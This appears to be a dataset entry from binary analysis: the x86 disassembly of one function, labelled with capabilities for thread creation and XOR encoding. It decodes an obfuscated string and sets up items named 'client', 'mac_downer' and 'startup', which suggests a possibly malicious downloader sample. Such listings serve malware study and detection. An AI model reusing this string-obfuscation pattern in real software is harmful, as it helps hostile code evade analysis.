Function at 0x498130
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ffd38
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x208
mov eax, dword [0x672494]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
movlpd qword [ebp - 0xe0], xmm0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
movlpd qword [ebp - 0x90], xmm0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov dword [ebp - 0x54], 0x7530
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
movlpd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
xor edx, edx
cmp dword [0x67be1c], 2
movups xmm0, xmmword [str.PMNK]
mov al, byte [0x6522f8]
mov byte [ebp - 0x160], al
movups xmmword [ebp - 0x178], xmm0
mov dword [ebp - 0x15c], edx
movq xmm0, qword [0x6522f0]
movq qword [ebp - 0x168], xmm0
jl 0x498420
movaps xmm0, xmmword [str.8888888888888888]
mov eax, 4
movaps xmm4, xmmword [0x654300]
movaps xmm3, xmmword [0x6543d0]
movaps xmm6, xmmword [str.2222]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1a0], xmm0
mov ecx, dword [ebp - 0x1a0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6543a0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x178]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x178], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6543a0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x174]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x174], xmm1
add edx, 8
cmp edx, 0x18
jl 0x498310
mov dword [ebp - 0x15c], edx
cmp edx, 0x19
jge 0x498457
nop
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x15c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x178], cl
inc edx
mov dword [ebp - 0x15c], edx
cmp edx, 0x19
jl 0x498420
lea ecx, [ebp - 0x178]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x498460
sub ecx, edx
lea eax, [ebp - 0x178]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.0040eb70
push 0
push 0x647060
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xe0], 0xf
mov dword [ebp - 0xdc], 0
call fcn.0040eb70
push 8
xor eax, eax
mov dword [ebp - 0x1d8], 0
push str.5.7.5.34
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x1d4], 7
mov word [ebp - 0x1e8], ax
call fcn.00417d60
lea edx, [ebp - 0x1e8]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d0]
call fcn.0048cfa0
mov esi, eax
lea eax, [ebp - 0xc0]
cmp eax, esi
je 0x498521
mov ecx, eax
call fcn.0040b640
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0xc0], xmm0
movq xmm0, qword [esi + 0x10]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
movq qword [ebp - 0xb0], xmm0
mov byte [esi], 0
mov edx, dword [ebp - 0x1bc]
cmp edx, 0x10
jb 0x49855b
mov ecx, dword [ebp - 0x1d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x498551
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x498830
push edx
push ecx
call fcn.004d0c91
add esp, 8
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1bc], 0xf
mov byte [ebp - 0x1d0], 0
mov byte [ebp - 4], 0
call fcn.0040f8c0
push 0
push 0x647060
lea ecx, [ebp - 0x128]
call fcn.0040eb70
push 0
push 0x647060
lea ecx, [ebp - 0x50]
call fcn.0040eb70
push 6
push str.client
lea ecx, [ebp - 0xa8]
call fcn.0040eb70
push 0
push 0x647060
lea ecx, [ebp - 0x6c]
call fcn.0040eb70
push 0xa
push str.mac_downer
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
call fcn.0040eb70
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x200]
mov eax, dword [0x67f4f4]
add eax, 0x5f8
push eax
call fcn.0040c5c0
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x28]
call fcn.004953e0
mov edi, eax
mov byte [ebp - 4], 4
cmp dword [edi + 8], 4
je 0x498662
mov ecx, edi
call fcn.00495ad0
push 0x18
call fcn.004c183f
add esp, 4
test eax, eax
je 0x498657
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
jmp 0x498659
xor eax, eax
mov dword [edi], eax
mov dword [edi + 8], 4
lea eax, [ebp - 0x200]
push eax
lea ecx, [ebp - 0x218]
call fcn.0040c5c0
mov edi, dword [edi]
mov esi, eax
cmp edi, esi
je 0x4986a6
mov ecx, edi
call fcn.0040f8c0
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [edi], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x218]
call fcn.0040f8c0
lea ecx, [ebp - 0x200]
call fcn.0040f8c0
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x18c]
cmp edx, 0x10
jb 0x4986fa
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4986f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x498835
push edx
push ecx
call fcn.004d0c91
add esp, 8
lea ecx, [ebp - 0x128]
call fcn.004a6b20
cmp dword [0x67f83c], 0
je 0x498807
push 7
push str.startup
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
call fcn.0040eb70
xorps xmm0, xmm0
mov dword [ebp - fcn.0049a160], 0x652000
movlpd qword [ebp - 0x150], xmm0
mov dword [ebp - 0x148], 0
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x140]
call fcn.0040e6e0
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x4987b2
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4987a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x49883a
push edx
push ecx
call fcn.004d0c91
add esp, 8
push 1
lea ecx, [ebp - 0x158]
call fcn.0049a160
mov eax, dword [0x67f83c]
mov esi, dword [eax + 0x118]
mov al, byte [esi + 0x58]
lea edi, [esi + 0x58]
test al, al
jne 0x4987fc
push 0
push 0
push esi
push 0x49cf60
push 0
push 0
call fcn.0057f519
add esp, 0x18
lea ecx, [esi + 0xa8]
xchg dword [ecx], eax
mov eax, dword [ecx]
test eax, eax
je 0x4987fc
mov al, 1
xchg byte [edi], al
lea ecx, [ebp - 0x158]
call fcn.00499fb0
lea ecx, [ebp - 0x128]
call fcn.004a7750
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004d0a85
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0056efe9
call fcn.0056efe9
call fcn.0056efe9
int3